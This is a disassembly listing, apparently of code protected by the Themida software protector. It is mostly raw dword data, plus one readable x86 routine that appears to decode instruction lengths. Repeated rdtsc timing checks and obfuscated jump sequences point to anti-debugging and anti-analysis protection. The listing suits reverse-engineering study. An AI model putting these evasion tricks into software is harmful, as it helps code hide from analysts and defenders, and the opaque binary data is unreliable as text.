6071279h, 6A406A50h dd 95FF5605h, 60705EDh, 0C361h, 2 dup(0) dd 8B520000h, 428B60D4h, 3C858908h, 8B060C7Eh, 85890C42h dd 60C7E34h, 8910428Bh, 0C7E3885h, 72B58D06h, 8D060C7Eh dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 7E3CB58Bh, 858B060Ch dd 60C7E34h, 7E38BD83h, 0F00060Ch, 784h, 0E9068900h, 2 dd 0CF0688h, 0 dd 52000000h, 8B60D48Bh, 85890842h, 60C7E3Ch, 7EC3B58Dh dd 858D060Ch, 5B8EA1h, 5A61D0FFh, 7E3C858Bh, 4C2060Ch dd 3C858B00h, 8B060C7Eh, 3C858900h, 0CF060C7Eh, 0 dd 99B58960h, 89060C7Eh, 0C7E9585h, 0C9858D06h, 8B060724h dd 85894440h, 60C7ED2h, 7F08B58Dh, 858D060Ch, 5B8EA1h dd 8B61D0FFh, 0C7E9985h, 9D8BC306h, 60C7E95h, 3C43B70Fh dd 5B8BD803h, 959D0378h, 8B060C7Eh, 0B5032473h, 60C7E95h dd 207B8B56h, 31C738Bh, 0C7E95BDh, 95B50306h, 0FC060C7Eh dd 41FFC983h, 7E999D8Bh, 178B060Ch, 7E959503h, 0C783060Ch dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h dd 86048B0Fh, 7E958503h, 8589060Ch, 60C7E99h, 0CE8BF08Bh dd 0BD81C18Bh, 60C7ED2h, 0C0300000h, 0D850Fh, 0E8C10000h dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh dd 0C7ED2BDh, 70C8306h, 7148B06h, 8124C28Bh, 0C18B813Ch dd 57840Fh, 0BD810000h, 60C7ED2h, 0C0300000h, 0D850Fh dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h dd 81000000h, 0C7ED2BDh, 30000006h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 60C7E40h, 1AA98589h dd 858D0607h, 60C7ED6h, 0FBD8589h, 858D0607h, 60C7E9Dh dd 15F58589h, 114C0607h, 0BD261C5Fh, 6198287Bh, 7331F139h dd 374A052Dh, 72FC7951h, 87D5FF80h, 877182C3h, 0F37030BDh dd 7A0D22Dh, 8A6A1E29h, 31F3110Dh, 0BAFF3F81h, 5D3D3080h dd 34766580h, 174F3080h, 0BEFAF3DDh, 0B6D714ECh, 2CED14C4h dd 72F43080h, 35B2F3D5h, 0D804B9DAh, 0B6F8AB59h, 0DEF2BC67h dd 37A7308Bh, 0A615B533h, 29B09AA8h, 8E183B1Eh, 1F539DB6h dd 373EE669h, 659E5A80h, 374F3368h, 0F4FD1080h, 1387B9DAh dd 13ADB184h, 37F42484h, 0F4287280h, 39BD3F9Dh, 0DE9E3080h dd 374F3089h, 0F6A8FB49h, 72F1A061h, 37FDD936h, 5FA33080h dd 3AD2E89Bh, 0BF066D9Fh, 762CEC4Bh, 5DD4749Dh, 0C62D85D2h dd 378A8D03h, 38E93687h, 37F40204h, 0CCF15680h, 373D3869h dd 0A3BDDF80h, 2458F836h, 34CED91Ah, 0DEB33080h, 37E9308Dh dd 9EB2CA3Ch, 510CB41h, 1EE99361h, 9B40B106h, 56291A70h dd 0BA18FD00h, 3B535805h, 43F8E86h, 0DF640771h, 377A3088h dd 35C6E98Fh, 78C023DBh, 374F3869h, 5FCE3680h, 0A1DE194Dh dd 0DFB9695Bh, 37F43086h, 70DC27A5h, 385DBFDFh, 379E3002h dd 0E4C45680h, 51376FE1h, 0BA26E70Bh, 3B697A05h, 380D5086h dd 377A320Ch, 56CABA80h, 3795D910h, 29AF3080h, 0A15D5C07h dd 0A7BA2E6Ah, 85BF60FAh, 38646959h, 377A3205h, 0C8ECBB80h dd 3087A515h, 644F5A86h, 37A73368h, 0F4881080h, 13B5B9DBh dd 13B0B184h, 377A2884h, 0F46E7380h, 0E389166h, 0BC19869Eh dd 0B477BB40h, 30DCC53Dh, 3E9C3086h, 7F58D03h, 437A3687h dd 0BC6E6099h, 33E48840h, 0B2C63080h, 31A03955h, 9B74AD0Dh dd 0E4163689h, 8A7768DBh, 317D0081h, 672A4480h, 33E488D3h dd 0B2C63080h, 31A03955h, 9E45AD0Dh, 0E4163689h, 379E68DBh dd 3779D8D3h, 6C1D3080h, 6B176B43h, 73CE34A4h, 37B134A4h dd 64903080h, 0C826F343h, 61D7F601h, 37101320h, 373ED8D0h dd 6FBE3080h, 73C66843h, 732634A4h, 37CB34A4h, 67A93080h dd 929EF443h, 0B61C2FA4h, 0BCA0BF4Fh, 619E5A40h, 374F3368h dd 0F4F91080h, 13A7B9DEh, 13ADB184h, 37F42A84h, 0F42C7680h dd 80C2FD8Eh, 0BA2779C5h, 3BCF621Dh, 0C4183F86h, 4B1DB50Dh dd 3801368Ch, 0BBF43080h, 72B15F92h, 0C25E4785h, 350ABF41h dd 8D292AAEh, 0C8F83AACh, 46D5650h, 1730B14Ah, 3CF0F82Fh dd 55FE3F40h, 663D3080h, 0BAC1DE0Ah, 30012C1Dh, 60A75A86h dd 37D33368h, 0F4B61080h, 1388B9DFh, 133EB184h, 373D2B84h dd 0F4C97780h, 6AB7E1AFh, 794E222Eh, 511D878Fh, 0FAE6D601h dd 37F43338h, 607A5A80h, 373D3368h, 0F4C11080h, 1333B9DFh dd 13E3B184h, 37D32884h, 0F4BE7780h, 2F495729h, 0B699CF60h dd 86F62A4Fh, 6D03BDF1h, 38493C00h, 37A73300h, 0CE643F80h dd 4B27B50Dh, 0BC92368Ch, 3CAACF7Eh, 6DB93F40h, 5D9E3080h dd 34A76580h, 17A73080h, 0BE8EF3DDh, 0B6ED14ECh, 23F014C4h dd 727A3080h, 51CDF3D5h, 38CCC90Bh, 374F330Fh, 0CE183F80h dd 2B4EBDDAh, 38EF37CEh, 37F43D06h, 0B3755080h, 373D3080h dd 0E790FA3Bh, 884051FFh, 37A6887Fh, 323A3080h, 0A4E93080h dd 0F64515C3h, 0C8B5BBE6h, 68A0BD63h, 5D983C00h, 34A76280h dd 17A73080h, 0BE89F3DAh, 0B6ED14D4h, 2CF014C4h, 757A3080h dd 3BF5F3D2h, 1FFAB8CEh, 3EA66887h, 41A73080h, 0ED696081h dd 257574C0h, 4B3AB50Dh, 3710368Ch, 373ED8D6h, 69BE3080h dd 43C66E43h, 732634A4h, 37C534A4h, 61AF3080h, 1720BC43h dd 0FEB5B1E6h, 38EDCF17h, 0F795E13Fh, 3722B48Fh, 0B7C73080h dd 80DC6D65h, 0BC8F5178h, 2B69BD7Bh, 517C37CEh, 0E736F201h dd 379E3338h, 624F5A80h, 37A73368h, 0F48E1080h, 1385B9DDh dd 13B0B184h, 377A2984h, 0F4687580h, 630ED36Eh, 0BF4092CAh dd 37A73096h, 37C3B98Fh, 3D013080h, 0AFF43080h, 4F2DBF1Ah dd 0E8EC3C01h, 0D46169E7h, 3742B38Fh, 3F4E3080h, 0CED33080h dd 0DFB8918Bh, 741A1B94h, 0DF2B30EAh, 373D3083h, 6E5D69A0h dd 336B7C09h, 33837401h, 37D3309Ch, 0C22A61C1h, 1614FF5Eh dd 0AAAB4A4Eh, 8AB0F80Ah, 3192B0C8h, 0B397BD0Dh, 4A1F368Ch dd 4597BDCh, 30D9D905h, 0F63B1B86h, 3BD3269h, 493C006Dh dd 0A7330038h, 643F8037h, 27B50DCEh, 92368C4Bh, 0E9837EBCh dd 8BA4F305h, 0F0BF0FC0h, 13E8h, 3E133B00h, 2742BE83h dd 7302A3A7h, 656B5238h, 9444F8F2h, 3880Fh, 8B660000h dd 0F5759D0h, 8Bh, 0C38B5900h, 8BCA8B66h, 0F5BD83C0h, 6070Fh dd 0BD830975h, 6073001h, 50197400h, 0B8C08B53h, 47Ah, 265D8589h dd 9D8D0607h, 609AD0Eh, 585BD3FFh, 3001BD83h, 74000607h dd 0B8535017h, 47Ah, 265D8589h, 9D8D0607h, 609A9AFh, 585BD3FFh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0E6C35545h dd 69CA5FDCh, 0F9E7CE84h, 0E28166F7h, 0AE992BEh, 54000000h dd 2E896999h, 906F9157h, 73EA8040h, 9E8C08Bh, 0CA000000h dd 4E81AAA0h, 4A3ABEABh, 3850Fh, 0C9800000h, 81665BBFh dd 81BA5DE9h, 58F0C3h, 13E900h, 0B2580000h, 5E297CA5h dd 3C7D9205h, 1B04EE7Eh, 7D584FE4h, 0AF8BE3Ah, 0F68128E3h dd 28E31CEEh, 8B0F33FFh, 3, 5ADCC080h, 0EA81DEB4h, 448D5839h dd 0C8C0Fh, 890F0000h, 6, 8B0Fh, 0C2810000h, 48A0ACE8h dd 6E08166h, 4CC28103h, 8B2E41BDh, 0B70F52F9h, 0F038FCFh dd 0EB83FABFh, 0E786B901h, 4B4B24C8h, 1EE814Bh, 0F000000h dd 0FFFFA785h, 8DC38BFFh, 0C87618Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 24D7A52h, 128A0Fh dd 820F0000h, 0Ch, 7E9h, 245F600h, 98C502B5h, 6798D89h dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0B61F20C3h, 699D0BF1h, 0C7060706h, 72CE585h dd 658406h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 3F5BEE9Fh, 9EB7BBCFh dd 18D2B60h, 0F5060701h, 585C761h, 6072Dh, 81000000h, 7EBD56E3h dd 45B5FF5Eh, 6A06071Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0F44C357h, 0B529F3BFh dd 6071B61h, 0BD95FFh, 6A0607h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0D643AEC3h, 830F2AE9h dd 0 dd 95FF006Ah, 60716B5h, 2DEBC08Bh, 0CF145C9Fh, 0F0A2D446h dd 3AB9CBD3h, 0E549398Bh, 0F598E6A9h, 1A17C968h, 0BFE8F2F5h dd 495EC5C0h, 7828DFACh, 9019AF08h, 0FB08C4CAh, 378D8D83h dd 66060C88h, 0B878D081h, 6798D89h, 0BB660607h, 85C70511h dd 6072CE5h, 621Ch, 0C7B9F080h, 72D0585h, 6, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0F7369D3h, 68Ch, 29B58900h, 0FF06070Eh, 7139DB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 4ED707FDh, 0C4242C21h, 0BD8B4B32h, 6071A79h, 0BD95FFh dd 0BE90607h, 21000000h, 1C6F2DE4h, 0C702EF3Ch, 6A29E9h dd 16B595FFh, 0C08B0607h, 72791FEBh, 5491DAF5h, 6AF6D185h dd 2DE06BAFh, 0B75D83F3h, 0F81B4893h, 62702DF7h, 0C649E80Ch dd 10E86Dh, 66270000h, 0E8CB1448h, 78A41F1Eh, 0DFC346C4h dd 0D88B26B9h, 0CE958h, 0E8900000h, 8C82846Dh, 3AF0735Ah dd 0C081200Ch, 610Fh, 1998D89h, 16B90607h, 89000018h, 700299Dh dd 8B388B06h, 7280D95h, 0F1C78106h, 605574A0h, 9D8BD98Ah dd 6071679h, 0B7EF8161h, 664089DBh, 81935ABEh, 0CBE917C7h dd 0D85895Ch, 5706071Eh, 0DB816656h, 8F5A8DF7h, 0F6BF0F00h dd 8B04E883h, 70371B5h, 1E98106h, 0F000000h, 1585h, 0D6B70F00h dd 28E9h, 2CB15600h, 25C0DF14h, 0BB136690h, 870FC8C7h dd 3, 0E9F38B66h, 0FFFFFF8Dh, 95CEC201h, 3A4436A9h, 1B086468h dd 1C8E9B8h, 88880000h, 7 dup(88880041h), 41h, 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 10000h, 14h dup(0) dd 80C30000h, 7577ED63h, 10000h, 11h dup(0) dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 60C8AF3h, 4085C760h dd 60C8Ah, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 60C8A44h dd 6, 24E9h, 48858D00h, 50060C8Ah, 8A98858Dh, 5650060Ch dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h, 0C8A4485h dd 0B5036106h, 60C8A44h, 8A40858Bh, 0C35D060Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_55008D mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_550099 ; --------------------------------------------------------------------------- loc_55008D: ; CODE XREF: Themida_:00550076j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_550099: ; CODE XREF: Themida_:00550088j push ebx push esi push edi loc_55009C: ; CODE XREF: Themida_:005500F1j ; Themida_:0055010Dj ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5500AF: ; CODE XREF: Themida_:005500D6j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 60C8BAAh lea ebp, [ebp+60C8A20h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5500DC inc cl cmp cl, 0Bh jb loc_5500AF loc_5500DC: ; CODE XREF: Themida_:005500CBj cmp cl, 0Bh jz loc_550139 cmp al, 66h jnz loc_55011A cmp byte ptr [ebp-5], 0 jnz loc_55009C cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_550112 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_55009C ; --------------------------------------------------------------------------- loc_550112: ; CODE XREF: Themida_:005500FFj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_55011A: ; CODE XREF: Themida_:005500E7j cmp al, 67h jnz loc_55009C cmp byte ptr [ebp-6], 0 jnz loc_55009C xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_55009C ; --------------------------------------------------------------------------- loc_550139: ; CODE XREF: Themida_:005500DFj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_550165 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_55016A ; --------------------------------------------------------------------------- loc_550165: ; CODE XREF: Themida_:00550144j movzx edi, al shr edi, 1 loc_55016A: ; CODE XREF: Themida_:00550160j push ebp call $+5 pop ebp sub ebp, 60C8C62h lea ebp, [ebp+60C8920h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5502EC mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_550230 dec ecx jz loc_550213 dec ecx jnz loc_550283 cmp byte ptr [ebp-2], 0 jnz loc_55027F cmp byte ptr [ebp-5], 0 jz loc_5501F2 mov byte ptr [ebp+0Bh], 2 loc_5501F2: ; CODE XREF: Themida_:005501E8j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 60C8CEEh mov dword ptr [ebp+60C8A40h], 1 pop ebp jmp loc_550283 ; --------------------------------------------------------------------------- loc_550213: ; CODE XREF: Themida_:005501CDj cmp byte ptr [ebp-2], 0 jnz loc_55025D cmp byte ptr [ebp-5], 0 jz loc_55025D mov byte ptr [ebp+0Bh], 2 jmp loc_55025D ; --------------------------------------------------------------------------- loc_550230: ; CODE XREF: Themida_:005501C6j cmp byte ptr [ebp-2], 0 jnz loc_550276 cmp byte ptr [ebp-5], 0 jz loc_550265 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_55025D mov [ebp+0Bh], cl loc_55025D: ; CODE XREF: Themida_:00550217j ; Themida_:00550221j ... inc byte ptr [ebp+0Bh] jmp loc_550283 ; --------------------------------------------------------------------------- loc_550265: ; CODE XREF: Themida_:0055023Ej cmp dl, 5 jnz loc_550283 mov [ebp+0Bh], dl jmp loc_550283 ; --------------------------------------------------------------------------- loc_550276: ; CODE XREF: Themida_:00550234j cmp dl, 6 jnz loc_550283 loc_55027F: ; CODE XREF: Themida_:005501DEj mov byte ptr [ebp+0Bh], 3 loc_550283: ; CODE XREF: Themida_:005501D4j ; Themida_:0055020Ej ... dec byte ptr [ebp+0Bh] jz loc_5502B1 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_550293: ; CODE XREF: Themida_:005502A9j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_550293 mov esi, edx loc_5502B1: ; CODE XREF: Themida_:00550286j and al, 0FEh cmp al, 0F6h jnz loc_5502E6 cmp edi, 7Fh ja loc_5502E6 test bl, 38h jnz loc_5502E6 cmp byte ptr [ebp-7], 0 jz loc_5502E0 movzx eax, byte ptr [ebp-4] jmp loc_5502E3 ; --------------------------------------------------------------------------- loc_5502E0: ; CODE XREF: Themida_:005502D1j push 1 pop eax loc_5502E3: ; CODE XREF: Themida_:005502DBj mov [ebp-1], al loc_5502E6: ; CODE XREF: Themida_:005502B5j ; Themida_:005502BEj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5502EC: ; CODE XREF: Themida_:00550196j mov al, bl and eax, 7 sub eax, 4 jz loc_550317 dec eax dec eax jz loc_55030D and bl, 7 add [ebp-1], bl jmp loc_55031F ; --------------------------------------------------------------------------- loc_55030D: ; CODE XREF: Themida_:005502FCj mov al, [ebp-3] add al, 6 jmp loc_55031C ; --------------------------------------------------------------------------- loc_550317: ; CODE XREF: Themida_:005502F4j mov al, [ebp-3] add al, 4 loc_55031C: ; CODE XREF: Themida_:00550312j add [ebp-1], al loc_55031F: ; CODE XREF: Themida_:00550308j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_550347 movzx ecx, byte ptr [ebp-1] inc ecx loc_550332: ; CODE XREF: Themida_:00550341j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_550332 loc_550347: ; CODE XREF: Themida_:00550327j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- dw 858Dh dd 60C8AEDh, 4198589h, 3CE90607h, 1, 4Eh dup(0) dd 83000000h, 71325BDh, 840F0106h, 58Eh, 1830Fh, 0C6FC0000h dd 72C0585h, 0F5604306h, 7748DF81h, 68610C95h, 0EF1561B2h dd 198A0Fh, 52500000h, 0CE9h, 1F035400h, 40A54E33h, 5443F459h dd 60310F3Fh, 81585A61h, 0B1472434h, 0BE903B0h, 0ED000000h dd 0A12CCCC3h, 10D1F7ACh, 0B5FF2883h, 60731ADh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FAC35343h, 0F2BAB8D9h dd 117BBC67h, 8F0FF9D9h, 1, 1F858DF5h, 0E9060A7Bh, 12h dd 0DE68444Ch, 5A0B5CC4h, 8EC80718h, 2A894D8Bh, 0D0FF6DD1h dd 18F0Fh, 89FC0000h, 7050985h, 0DE96006h, 0B8000000h dd 0BE668513h, 0B8B5C0CFh, 83E58B66h, 61C7BF0Fh, 2C0585C6h dd 0F500607h, 187h, 4E8F800h, 56000000h, 0FA8ADADh, 0C81h dd 68C0F00h, 0F000000h, 83h, 52505000h, 0FD88A60h, 85h dd 310F6100h, 28B0Fh, 61600000h, 448B585Ah, 6E90424h, 0FB000000h dd 1AF42AAAh, 0E9008B34h, 11h, 3901F18Ah, 7205FE37h, 0E57E75A9h dd 0C7987818h, 2444899Fh, 0E9525004h, 10h, 98F35457h, 53951878h dd 97F9609h, 7729371Ah, 13E9310Fh, 65000000h, 89632BB7h dd 0CA067250h, 4EBD957Ah, 0FD1850CFh, 585A3F8Ch, 8A0F6058h dd 4, 5824BB66h, 61F28B66h, 31ADB5FFh, 66600607h, 6124EABBh dd 7B1F858Dh, 0FFF5060Ah, 0C880FD0h, 0F000000h, 684h, 850F00h dd 89000000h, 7142985h, 0AC68F906h, 0E97A71E6h, 0Fh, 0D62A9CBCh dd 5EEFE802h, 824AB473h, 81E79EA2h, 0C1832404h, 0F560761Dh dd 8E9h, 0F6DFDA00h, 0D3560A58h, 0B5FF6111h, 60731ADh dd 1F858DF5h, 60060A7Bh, 5890Fh, 51B80000h, 6655B4C4h dd 73BAF181h, 0FD0FF61h, 198Fh, 12E96000h, 30000000h, 40211A2Bh dd 5027585h, 0C679E74Eh, 8AF0A31Dh, 8589618Dh, 6070CB9h dd 18B0Fh, 0C6FC0000h, 72C0585h, 66605006h, 66F278BFh dd 0C4D3D981h, 4E861h, 0DC560000h, 5250979Ch, 5BF7BF60h dd 0F610593h, 10830F31h, 0E9000000h, 0Bh, 0BACD8B0Eh, 0B1752AB5h dd 5A2D35B1h, 52505058h, 5E960h, 78240000h, 66971444h dd 6151B1BBh, 8B60310Fh, 585A61FBh, 424448Bh, 8B0F5250h dd 6, 880Fh, 310F0000h, 8A616060h, 585A61D9h, 5250008Bh dd 52505250h, 585A310Fh, 0EE9310Fh, 0FE000000h, 0DC50D327h dd 0C4D97E01h, 498C27D1h, 0F585A32h, 0F525031h, 88h, 0E9310F00h dd 12h, 19F9E168h, 0A0B5B86Ah, 4FB926EFh, 0FCDF20E7h, 585AAC1Ah dd 4489585Ah, 820F0424h, 0Ch, 68C0Fh, 52500000h, 585A310Fh dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 74153276h, 2860Fh, 61600000h, 0DE860h, 10AB0000h dd 3B0AC7DDh, 0ED7CC94Fh, 66EF44E1h, 5A32BFB9h, 26CF8160h dd 0F4AB2D3h, 89h, 0FF616100h, 71B2DB5h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 9120E2Fh, 0F90C5A17h, 3B24858Dh, 0FFFC0607h, 56006AD0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0E9608F34h, 0Ah, 57C8762Dh, 3B0B0BBBh, 10E9496Eh, 83000000h dd 0B6479B5h, 413BB4E2h, 3A76CF44h, 61E4E552h, 898589F8h dd 6A06072Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0E966C357h, 1AAh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F0C35747h, 95796477h dd 7C9AFF3Ah, 0D9806060h, 61D18BF9h, 618FCE80h, 0E890Fh dd 0F9600000h, 5E8h, 0E721EB00h, 615A7ED2h, 0EE9h, 34961C00h dd 2B7136BCh, 0E56A8495h, 50AB1C4Ch, 1C870Fh, 52500000h dd 810Fh, 310F0000h, 0BE9h, 0C944DB00h, 2F9A38EBh, 934A072Ah dd 2C89585Ah, 1D860F24h, 0F000000h, 1781h, 12E900h, 14AF0000h dd 0F6BCC10h, 4E540461h, 0B6C5A840h, 4793E45Fh, 5E9EC8Bh dd 0F7000000h, 0B9928945h, 0E9FCC483h, 6, 98E9C431h, 66605D9Eh dd 8438E381h, 8D0F60h, 0F000000h, 6161D9BFh, 8B526060h dd 0E8615AFEh, 0 dd 56EA815Ah, 0C7060C94h, 0FC45h, 0BA830000h, 6071325h dd 98840F01h, 52000000h, 0F6A006Ah, 50992FFh, 895A0607h dd 0C8E5182h, 559A8D06h, 52060C8Eh, 12803C7h, 50530000h dd 142992FFh, 525A0607h, 8E559A8Dh, 0FF53060Ch, 0C8E51B2h dd 8992FF06h, 5A06072Ah, 5074C00Bh, 8E559A8Dh, 7B8D060Ch dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h dd 39348DEEh, 8D0C752Bh, 72289BAh, 0C4D8B06h, 0C032A4F3h dd 75FF52AAh, 89828D08h, 50060722h, 0CB992FFh, 0B5A0607h dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh dd 0E90008C2h, 11h, 8E1C41A3h, 29322277h, 9534B5E4h, 0C7198CD7h dd 0D28BFC86h, 95EA8D8Dh, 0E880060Ch, 798D89B2h, 8B060706h dd 70CE99Dh, 0E585C706h, 0BC06072Ch, 6A000072h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0C785C355h, 72D0585h, 6, 0D6B70F00h, 0B75B5FFh, 6A0607h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0DE875C3h, 80000000h, 7EC5204Dh, 805396B5h, 0ACF3A82Eh dd 26399533h, 0F5E0607h, 68Ch, 0F1B58900h, 0FF06070Dh dd 700BD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 8BC0B122h, 7131D9Dh, 0FF006A06h dd 716B595h, 0EBC08B06h, 0E583FB7Dh, 312E3BCBh, 39639BABh dd 3DF8DB1h, 381FC238h, 0EEB5465Eh, 0A5FC8091h, 523CB1C6h dd 2D8C4B47h, 4473EEE7h, 27214A1h, 0D577E76Ch, 0DC266D1h dd 0A0CCF7C1h, 70D3C75Ch, 9EFB55A8h, 65E2A2DEh, 90BD2F83h dd 0BB90D06Eh, 4C389DA2h, 527D00C1h, 5F4903BEh, 36F67511h dd 350AE1FBh, 13F7AE28h, 483A247Ah, 0AC5083B8h, 0DAC5B4F4h dd 0D377F541h, 39C65DA0h, 0C042C17Eh, 8D8D006Eh, 60C9787h dd 14E9h, 0F7B53900h, 11BD3660h, 3054664Bh, 27340F98h dd 0C5758679h, 798D89F1h, 6A060706h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 245CC350h dd 0EF591D74h, 0B1B8D78Ah, 6646D69Eh, 0C757D9BAh, 72CE585h dd 5F9C06h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0BEC6816Ah, 0C777BDB9h, 72D0585h dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0F98B667Dh, 139DB5FFh, 6A0607h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 48BEC9C3h, 0FA22EF5Ch, 0FFDCFF6Ch, 700BD95h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 89648A01h, 71F45B5h, 14E906h, 3C0000h, 5688406Eh, 0F60FEAC1h dd 0D695ED08h, 7ADA74DBh, 6AB605h, 16B595FFh, 0C08B0607h dd 6D011FEBh, 2039C0A3h, 0C1BB0531h, 1834D295h, 866C13D1h dd 0F266DC2h, 0B2436AF2h, 492A26Eh, 0EE84Fh, 0BB60000h dd 37B57944h, 73ADCEAAh, 297592CDh, 58FA8B66h, 7FDB50Bh dd 0C0810607h, 661Dh, 5DBBD233h, 0FF063C21h, 0F78B0234h dd 0AD9D0959h, 81060709h, 0F86F83C1h, 5810F01h, 66000000h dd 0B511DF81h, 39DBC181h, 8D0F775Fh, 6, 8227D681h, 0E981355Bh dd 7D649A3h, 0B70F51F5h, 10048FD9h, 0EE9FCh, 0D8E60000h dd 0AE49008Dh, 103B8546h, 1C6DB04Dh, 8901EA83h, 7201D85h dd 4A4A4A06h, 8182D780h, 0FF9A7CFAh, 94850FFFh, 0FFFFFFFh dd 680h, 45BD8B00h, 8B060703h, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 9ADBECCCh dd 14E97360h, 7A000000h, 3B24C108h, 0F46EECD1h, 43FE4DBEh dd 29851C66h, 0FA6E7B5h, 28Fh, 83C3B300h, 70FF5BDh, 9750006h dd 3001BD83h, 74000607h, 8B535019h, 3FCB8C0h, 85890000h dd 60709D5h, 0ACA79D8Dh, 0D3FF0609h, 0BD83585Bh, 6073001h dd 50177400h, 3FCB853h, 85890000h, 60709D5h, 0A9969D8Dh dd 0D3FF0609h, 8A0F585Bh, 0Bh, 6E9h, 0EE8AD300h, 60346D98h dd 5F616057h, 0BFAEB966h, 8BF18A61h, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0F381C721h dd 5DFF4CA3h, 